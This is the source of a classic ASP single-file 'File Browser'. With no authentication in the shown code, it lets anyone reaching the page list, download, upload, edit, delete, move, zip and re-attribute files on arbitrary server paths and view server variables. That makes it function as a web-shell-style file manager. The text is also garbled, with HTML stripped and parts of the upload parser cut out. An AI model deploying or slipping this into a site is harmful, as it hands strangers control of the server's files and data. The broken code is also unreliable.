<% Option Explicit 'On Error Resume Next If Request.QueryString("upload") = "" Then Session.CodePage = 65001 Else Session.CodePage = 1252 End If '' ' Scripts name '' Dim arPath, strScript arPath = Split(Request.ServerVariables("SCRIPT_NAME"), "/") strScript = arPath(Ubound(arPath)) '' ' List of encodings for file editting ' ' ({@link http://msdn.microsoft.com/en-us/library/ms526296%28v=exchg.10%29.aspx Source}) '' Dim arEncodings arEncodings = Array( _ "ISO-8859-1", _ "BIG5", _ "EUC-JP", _ "EUC-KR", _ "GB2312", _ "ISO-2022-JP", _ "ISO-2022-KR", _ "ISO-8859-2", _ "ISO-8859-3", _ "ISO-8859-4", _ "ISO-8859-5", _ "ISO-8859-6", _ "ISO-8859-7", _ "ISO-8859-8", _ "ISO-8859-9", _ "KOI8-R", _ "SHIFT-JIS", _ "US-ASCII", _ "UTF-8", _ "UNICODE" _ ) '' ' File and folder attributes collection '' Dim dAttributes Set dAttributes = Server.CreateObject("Scripting.Dictionary") dAttributes.Add "n", Array(0, "Normal", False) dAttributes.Add "r", Array(1, "Read Only", True) dAttributes.Add "h", Array(2, "Hidden", True) dAttributes.Add "s", Array(4, "System", True) dAttributes.Add "v", Array(8, "Volume", False) dAttributes.Add "f", Array(16, "Directory", False) dAttributes.Add "a", Array(32, "Archive", True) dAttributes.Add "l", Array(1024, "Alias", False) dAttributes.Add "c", Array(2048, "Compressed", False) '' ' Some common MIME types '' Dim dMimeTypes Set dMimeTypes = Server.CreateObject("Scripting.Dictionary") dMimeTypes.Add "asm", "text/x-asm" dMimeTypes.Add "asp", "text/asp" dMimeTypes.Add "bat", "text/plain" dMimeTypes.Add "bmp", "image/bmp" dMimeTypes.Add "c", "text/plain" dMimeTypes.Add "conf", "text/plain" dMimeTypes.Add "cpp", "text/x-c" dMimeTypes.Add "css", "text/css" dMimeTypes.Add "csv", "text/csv" dMimeTypes.Add "gif", "image/gif" dMimeTypes.Add "h", "text/plain" dMimeTypes.Add "hta", "text/plain" dMimeTypes.Add "htm", "text/html" dMimeTypes.Add "html", "text/html" dMimeTypes.Add "java", "text/plain" dMimeTypes.Add "jpeg", "image/jpeg" dMimeTypes.Add "jpg", "image/jpeg" dMimeTypes.Add "json", "application/json" dMimeTypes.Add "list", "text/plain" dMimeTypes.Add "log", "text/plain" dMimeTypes.Add "lsp", "text/plain" dMimeTypes.Add "lst", "text/plain" dMimeTypes.Add "p", "text/plain" dMimeTypes.Add "pas", "text/plain" dMimeTypes.Add "pdf", "application/pdf" dMimeTypes.Add "php", "text/plain" dMimeTypes.Add "pl", "text/plain" dMimeTypes.Add "png", "image/png" dMimeTypes.Add "py ", "text/x-script.phyton" dMimeTypes.Add "rss", "application/rss+xml" dMimeTypes.Add "sh", "text/x-script.sh" dMimeTypes.Add "shtml ", "text/html" dMimeTypes.Add "swf", "application/x-shockwave-flash" dMimeTypes.Add "text", "text/plain" dMimeTypes.Add "txt", "text/plain" dMimeTypes.Add "xhtml", "application/xhtml+xml" dMimeTypes.Add "xml", "application/xml" dMimeTypes.Add "vbs", "text/plain" '' ' Processes file for downloading '' If Not Request.QueryString("download") = "" Or Not Request.QueryString("view") = "" Then Dim strFile Set objFSO = Server.CreateObject("Scripting.FileSystemObject") If Not Request.QueryString("download") = "" Then strFile = Request.QueryString("download") Else strFile = Request.QueryString("view") End If If objFSO.FileExists(strFile) Then Set objFile = objFSO.GetFile(strFile) Dim strExtension, strMimeType strExtension = objFSO.GetExtensionName(objFile.Path) strMimeType = "application/octet-stream" If dMimeTypes.Exists(strExtension) Then strMimeType = dMimeTypes.Item(strExtension) End If ' ({@link http://nolovelust.com/post/classic-asp-large-file-download-code Source}) Dim intChunkSize, objStream, intStreamSize intChunkSize = 2048 Server.ScriptTimeout = 900 Set objStream = Server.CreateObject("ADODB.Stream") objStream.Open() objStream.Type = 1 objStream.LoadFromFile objFile.Path intStreamSize = objStream.Size Response.ContentType = strMimeType 'Response.AddHeader "Content-Length", intStreamSize If Not Request.QueryString("download") = "" Then Response.AddHeader "Content-Disposition", "attachment;filename=""" & objFile.Name & """;" Else Response.AddHeader "Content-Disposition", "inline;filename=""" & objFile.Name & """;" End If Response.Buffer = False For i = 1 To intStreamSize \ intChunkSize If Not Response.IsClientConnected Then Exit For Response.BinaryWrite objStream.Read(intChunkSize) Next If intStreamSize Mod intChunkSize > 0 Then If Response.IsClientConnected Then Response.BinaryWrite objStream.Read(intStreamSize Mod intChunkSize) End If End If objStream.Close Set objStream = Nothing Else Response.Status = "404 Not Found" Response.Write "File Not Found" End If Response.End End If '' ' Recursive directory listing '' If Not Request.QueryString("list") = "" Then Set objFSO = Server.CreateObject("Scripting.FileSystemObject") objStartFolder = Request.QueryString("list") strFile = "" If Request.QueryString("level") = "" Then intMaxLevel = -1 Else intMaxLevel = Int(Request.QueryString("level")) End If Response.Buffer = False Response.ContentType = "text/plain; charset=""UTF-8""" Set objFolder = objFSO.GetFolder(objStartFolder) Set colFiles = objFolder.Files For Each objFile in colFiles Response.Write vbCRLF & objFolder.Path & "\\" & objFile.Name Next ShowSubfolders objFSO.GetFolder(objStartFolder), 0 Response.End End If %> ASP File Browser <% '' ' ' FILE UPLOADING ' '' If Not Request.QueryString("upload") = "" Then Dim strDestination strDestination = Request.QueryString("upload") If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Dim UploadRequest Dim byteCount, RequestBin Dim sFullFilePath, sPathEnd Dim sContentType, sFilePathName, sFileName, sValue Dim oFile, oFSO Dim i Response.Expires = 0 Response.Buffer = TRUE byteCount = Request.TotalBytes RequestBin = Request.BinaryRead(byteCount) Set UploadRequest = Server.CreateObject("Scripting.Dictionary") BuildUploadRequest RequestBin ' This will place the uploaded file into the root directory of the web site - ' Modify this path as needed. If Not Right(strDestination, 1) = "\" Then strDestination = strDestination & "\" End If sContentType = UploadRequest.Item("blob").Item("ContentType") sFilePathName = UploadRequest.Item("blob").Item("FileName") sFileName = Right(sFilePathName, Len(sFilePathName) - InstrRev(sFilePathName, "\")) sValue = UploadRequest.Item("blob").Item("Value") sFullFilePath = strDestination & sFileName 'Create FileSytemObject Component Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 'Create and Write to a File sPathEnd = Len(Server.mappath(Request.ServerVariables("PATH_INFO"))) - 14 Set oFile = oFSO.CreateTextFile(sFullFilePath, True) For i = 1 to LenB(sValue) oFile.Write Chr(AscB(MidB(sValue,i,1))) Next oFile.Close Set oFile = Nothing Set oFSO = Nothing With Response .Write("Uploaded File: " & sFullFilePath & "
") .Write("Content Type: " & sContentType & "
") End With Set UploadRequest = Nothing End If %>

Select File :

<% '' ' ' FILE/FOLDER'S ATTRIBUTES ' '' ElseIf Not Request.QueryString("attributes") = "" Then Dim objAttributes Dim objItem Dim strItem, strAttribute, colKeys, strKey Set objFSO = Server.CreateObject("Scripting.FileSystemObject") strItem = Trim(Request.QueryString("attributes")) If Right(strItem, 1) = "\" Then Set objItem = objFSO.GetFolder(strItem) Else Set objItem = objFSO.GetFile(strItem) End If strAttribute = fsAttributes(objItem.Attributes) colKeys = dAttributes.Keys If Request.ServerVariables("REQUEST_METHOD") = "POST" Then For Each strKey In colKeys If dAttributes.Item(strKey)(2) = True Then If Not Request.Form("attribute_" & strKey) = "" Then If InStr(strAttribute, strKey) = 0 Then objItem.Attributes = objItem.Attributes + dAttributes.Item(strKey)(0) End If Else If InStr(strAttribute, strKey) > 0 Then objItem.Attributes = objItem.Attributes - dAttributes.Item(strKey)(0) End If End If End If Next If Not Request.Form("date") = "" Then fileDateLastModified strItem, Request.Form("date") End If strAttribute = fsAttributes(objItem.Attributes) End If %>
<% For Each strKey In colKeys If dAttributes.Item(strKey)(2) = True Then If InStr(strAttribute, strKey) > 0 Then Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Else Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF End If Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(3) & "" & vbCRLF End If Next %>
Attributes" & dAttributes.Item(strKey)(1) & "" & dAttributes.Item(strKey)(1) & "
Last Modified Date <% If Right(strItem, 1) = "\" Then Response.Write Tab(4) & "" Else Response.Write Tab(4) & "" End If %>
<% '' ' ' FILE/FOLDER'S PROPERTIES ' '' ElseIf Not Request.QueryString("properties") = "" Then Set objFSO = Server.CreateObject("Scripting.FileSystemObject") strItem = Trim(Request.QueryString("properties")) If Right(strItem, 1) = "\" Then Set objItem = objFSO.GetFolder(strItem) Else Set objItem = objFSO.GetFile(strItem) End If Dim strAttributeName strAttributeName = "" strAttribute = fsAttributes(objItem.Attributes) colKeys = dAttributes.Keys Dim dProperties Set dProperties = Server.CreateObject("Scripting.Dictionary") dProperties.Add "Name", objItem.Name dProperties.Add "Full Path", objItem.Path dProperties.Add "Size", convertSize(objItem.Size) dProperties.Add "Size (Bytes)", objItem.Size dProperties.Add "Type", objItem.Type dProperties.Add "Date Created", objItem.DateCreated dProperties.Add "Date Last Accessed", objItem.DateLastAccessed dProperties.Add "Date Last Modified", objItem.DateLastModified For Each strKey In colKeys If InStr(strAttribute, strKey) > 0 Then strAttributeName = strAttributeName & dAttributes.Item(strKey)(1) & " - " End If Next dProperties.Add "Attributes", strAttributeName dProperties.Add "Short Name", objItem.ShortName dProperties.Add "Short Path", objItem.ShortPath dProperties.Add "Parent Folder", objItem.ParentFolder dProperties.Add "Drive", objItem.Drive %> <% colKeys = dProperties.Keys For Each strKey In colKeys Response.Write Tab(2) & "" & vbCRLF Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(2) & "" & vbCRLF Next %>
" & strKey & "" & dProperties.Item(strKey) & "
<% '' ' ' FILE EDITTING ' '' ElseIf Not Request.QueryString("edit") = "" Then Dim arSearch, strEncoding, strData, strCurrentEncoding arSearch = Filter(arEncodings, Request.QueryString("encoding")) If Ubound(arSearch) = 0 Then strEncoding = Request.QueryString("encoding") Else strEncoding = arEncodings(0) End If If Request.ServerVariables("REQUEST_METHOD") = "POST" Then fileWriteText Request.QueryString("edit"), Request.Form("contents"), strEncoding End If strData = strConvertHTML(fileReadText(Request.QueryString("edit"), strEncoding)) If Err.Number = 0 Then %>
File Encoding
<% End If '' ' ' SERVER VARIABLES ' '' ElseIf Request.QueryString("server") = "variables" Then Dim strVariable Response.Write Tab(1) & "" & vbCRLF For Each i In Request.ServerVariables strVariable = Replace(Request.ServerVariables(i), vbLF, "
") strVariable = Replace(strVariable, vbCR, "") Response.Write Tab(2) & "" & vbCRLF Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(2) & "" & vbCRLF Next Response.Write Tab(1) & "
" & i & "" & strVariable & "
" & vbCRLF '' ' ' FILE BROWSING ' '' Else Dim strFolder Dim objFSO, objFolder If Request.QueryString("browse") = "" Then strFolder = Request.ServerVariables("APPL_PHYSICAL_PATH") If Len(strFolder) = 0 Then strFolder = "." Else strFolder = Trim(CStr(Request.QueryString("browse"))) End If Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objFolder = objFSO.GetFolder(strFolder) If Err.Number = 0 Then %>
<% If Not Request.Form("create") = "" Then Dim strItemName strItemName = Trim(Request.Form("name")) If Not strItemName = "" Then fsCreate Request.Form("cwd_") & "\" & strValidFilename(strItemName), Request.Form("new") End If End If If Not Request.Form("do_action") = "" Then If Request.Form("items").Count > 0 Then For Each i In Request.Form("items") Select Case Request.Form("action") Case "delete" fsDelete Request.Form("cwd_") & "\" & i Case "copy" fsCopy i, i, Request.Form("cwd_"), Request.Form("action_"), False Case "copyo" fsCopy i, i, Request.Form("cwd_"), Request.Form("action_"), True Case "move" fsMove i, i, Request.Form("cwd_"), Request.Form("action_") Case "rename" fsRename i, Request.Form("action_"), Request.Form("cwd_") Case "zip" Dim strZipFile strZipFile = Left(i, Len(i) - 1) & ".zip" zipAdd Request.Form("action_") & "\" & strZipFile, Request.Form("cwd_") & "\" & i Case "unzip" Dim strExtractFolder strExtractFolder = Left(i, InStrRev(i, ".") - 1) zipExtract Request.Form("cwd_") & "\" & i, Request.Form("action_") & "\" & strExtractFolder End Select Next End If End If Dim colFiles, colSubfolders Dim strCWD, strParent Dim objSubFolder, objFile Dim objDrive, strDriveType Set colFiles = objFolder.Files Set colSubfolders = objFolder.SubFolders strCWD = objFolder.Path Set strParent = objFolder.ParentFolder If Not strParent Is Nothing Then strParent = CStr(strParent) With Response .Write Tab(3) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(3) & "" & vbCRLF End With End If If colSubfolders.Count > 0 Then For Each objSubFolder In colSubfolders With Response .Write Tab(3) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF End With objAttributes = objSubFolder.Attributes Err.Clear If Err.Number <> 0 Then Response.Write Tab(4) & "" & vbCRLF Else 'Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF End If Response.Write Tab(3) & "" & vbCRLF Next End If If colFiles.Count > 0 Then For Each objFile In colFiles Response.Write Tab(3) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF Response.Write Tab(4) & "" & vbCRLF objAttributes = objFile.Attributes Err.Clear If Err.Number <> 0 Then Response.Write Tab(4) & "" & vbCRLF Else With Response .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF .Write Tab(4) & "" & vbCRLF End With End If Response.Write Tab(3) & "" & vbCRLF Next End If %>
Type Name Size Date Created Date Last Accessed Date Last Modified Attributes
  " & vbCRLF .Write Tab(5) & ".." & vbCRLF .Write Tab(4) & " 
[" & UCase(objSubFolder.Type) & "]" & vbCRLF .Write Tab(5) & "" & objSubFolder.Name & "\" & vbCRLF .Write Tab(4) & " " & convertSize(objSubFolder.Size) & "-" & CStr(objSubFolder.DateCreated) & "" & CStr(objSubFolder.DateLastAccessed) & "" & CStr(objSubFolder.DateLastModified) & "" & fsAttributes(objAttributes) & "
[" & UCase(objFile.Type) & "]" & objFile.Name & " " & convertSize(objFile.Size) & "" & CStr(objFile.DateCreated) & "" & CStr(objFile.DateLastAccessed) & "" & CStr(objFile.DateLastModified) & "" & fsAttributes(objAttributes) & "
Showing <%=colFiles.Count%> files & <%=colSubfolders.Count%> subfolders
Selected File(s) / Folder(s)
Enter Name File Folder or
Current Working Directory
Change Drive (Server Variables)
<% End If End If If Err.Number <> 0 Then Response.Write "Error #: " & CStr(Err.Number) & "
" & vbcrLF Response.Write "Description: " & Err.Description & "
" & vbcrLF Response.Write "Source: " & Err.Source & "

" & vbCRLF End If %> <% '' ' Create a new blank ZIP file ' ' @link http://www.techcoil.com/blog/handy-vbscript-functions-for-dealing-with-zip-files-and-folders/ Source ' @param string strZipFile Path to the ZIP file '' Sub zipCreate(strZipFile) Dim objFSO Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Dim objTextFile Set objTextFile = objFSO.CreateTextFile(strZipFile) objTextFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0) objTextFile.Close Set objFSO = Nothing Set objTextFile = Nothing 'Wscript.Sleep 500 End Sub '' ' Add a folders contents to a ZIP file ' ' @link http://www.techcoil.com/blog/handy-vbscript-functions-for-dealing-with-zip-files-and-folders/ Source ' @param string strZipFile Path to the ZIP file ' @param string strSource Source folder '' Sub zipAdd(strZipFile, strSource) Dim objFSO Set objFSO = Server.CreateObject("Scripting.FileSystemObject") strZipFile = objFSO.GetAbsolutePathName(strZipFile) strSource = objFSO.GetAbsolutePathName(strSource) If objFSO.FileExists(strZipFile) Then objFSO.DeleteFile strZipFile End If If Not objFSO.FolderExists(strSource) Then Exit Sub End If zipCreate strZipFile dim objShell set objShell = CreateObject("Shell.Application") Dim objZipFolder Set objZipFolder = objShell.NameSpace(strZipFile) Dim objFolder Set objFolder = objShell.NameSpace(strSource) ' Look at http://msdn.microsoft.com/en-us/library/bb787866(VS.85).aspx ' for more information about the CopyHere function objZipFolder.CopyHere objFolder.Items, 4 ' Do Until objFolder.Items.Count <= objZipFolder.Items.Count ' Wscript.Sleep(200) ' Loop End Sub '' ' Extract a ZIP files contents to a folder ' ' @link http://www.techcoil.com/blog/handy-vbscript-functions-for-dealing-with-zip-files-and-folders/ Source ' @param string strZipFile Path to the ZIP file ' @param string strDestination Destination folder '' Sub zipExtract(strZipFile, strDestination) Dim objFSO Set objFSO = CreateObject("Scripting.FileSystemObject") strZipFile = objFSO.GetAbsolutePathName(strZipFile) strDestination = objFSO.GetAbsolutePathName(strDestination) If (Not objFSO.FileExists(strZipFile)) Then Exit Sub End If If Not objFSO.FolderExists(strDestination) Then objFSO.CreateFolder(strDestination) End If dim objShell set objShell = CreateObject("Shell.Application") Dim objZipFolder Set objZipFolder = objShell.NameSpace(strZipFile) Dim objFolder Set objFolder = objShell.NameSpace(strDestination) ' Look at http://msdn.microsoft.com/en-us/library/bb787866(VS.85).aspx ' for more information about the CopyHere function objFolder.CopyHere objZipFolder.Items, 1024 ' Do Until objZipFolder.Items.Count <= objFolder.Items.Count ' Wscript.Sleep(200) ' Loop End Sub '' ' Processes file upload ' ' @param string RequestBin Received binary data from the request ' @link http://www.cymbala.com/Greg/HowToUpload.htm Source '' Sub BuildUploadRequest(RequestBin) Dim UploadControl Dim ContentType Dim boundary, boundaryPos Dim PosFile, Pos, PosBeg, PosEnd, PosBound, FileName Dim Name, Value ' Get the boundary PosBeg = 1 PosEnd = InstrB(PosBeg, RequestBin, strToByte(Chr(13))) boundary = MidB(RequestBin, PosBeg, PosEnd - PosBeg) boundaryPos = InstrB(1, RequestBin, boundary) ' Get all data inside the boundaries Do Until (boundaryPos = InstrB(RequestBin, boundary & strToByte("--"))) ' Members variable of objects are put in a dictionary object Set UploadControl = Server.CreateObject("Scripting.Dictionary") 'Get an object name Pos = InstrB(BoundaryPos, RequestBin, strToByte("Content-Disposition")) Pos = InstrB(Pos, RequestBin, strToByte("name=")) PosBeg = Pos + 6 PosEnd = InstrB(PosBeg, RequestBin, strToByte(Chr(34))) Name = byteToString(MidB(RequestBin, PosBeg, PosEnd - PosBeg)) PosFile = InstrB(BoundaryPos, RequestBin, strToByte("filename=")) PosBound = InstrB(PosEnd, RequestBin, boundary) ' Test if object is of file type If PosFile <> 0 AND (PosFile 0 Then Dim arTmp() ReDim arTmp(intCount) Tab = Join(arTmp, vbTab) End If End Function '' ' Escapes backslash in a string ' ' @param string strString Input string '' Function escapeBackslash(ByVal strString) If ((Not IsNull(strString)) And (strString <> "")) Then strString = Replace(strString, "\", "\\") End If escapeBackslash = strString End Function '' ' Replaces HTML special characters ' ' @param string strString Input string ' @return string Returns replaced string '' Function strConvertHTML(ByVal strString) If ((Not IsNull(strString)) And (strString <> "")) Then strString = Replace(strString, "&", "&") strString = Replace(strString, "<", "<") strString = Replace(strString, ">", ">") strString = Replace(strString, """", """) strString = Replace(strString, "'", "'") End If strConvertHTML = strString End Function Function strValidFilename(strFilename) If ((Not IsNull(strFilename)) And (strFilename <> "")) Then strFilename = Replace(strFilename, "\", "_") strFilename = Replace(strFilename, "/", "_") strFilename = Replace(strFilename, ":", "_") strFilename = Replace(strFilename, "*", "_") strFilename = Replace(strFilename, "?", "_") strFilename = Replace(strFilename, """", "_") strFilename = Replace(strFilename, "<", "_") strFilename = Replace(strFilename, ">", "_") strFilename = Replace(strFilename, "|", "_") End If strValidFilename = strFilename End Function '' ' Recursively lists contents of a folder ' ' @param object objFolder The folder object from FileSystemObject ' @param int intCurrentLevel Current crawling depth '' Sub ShowSubFolders(objFolder, intCurrentLevel) If intCurrentLevel < intMaxLevel Or intMaxLevel = -1 Then For Each Subfolder In objFolder.SubFolders Set objSubFolder = objFSO.GetFolder(Subfolder.Path) Set colFiles = objSubFolder.Files For Each objFile In colFiles Response.Write vbCRLF + Subfolder.Path + "\" + objFile.Name Next ShowSubFolders Subfolder, (intCurrentLevel + 1) Next End If End Sub %>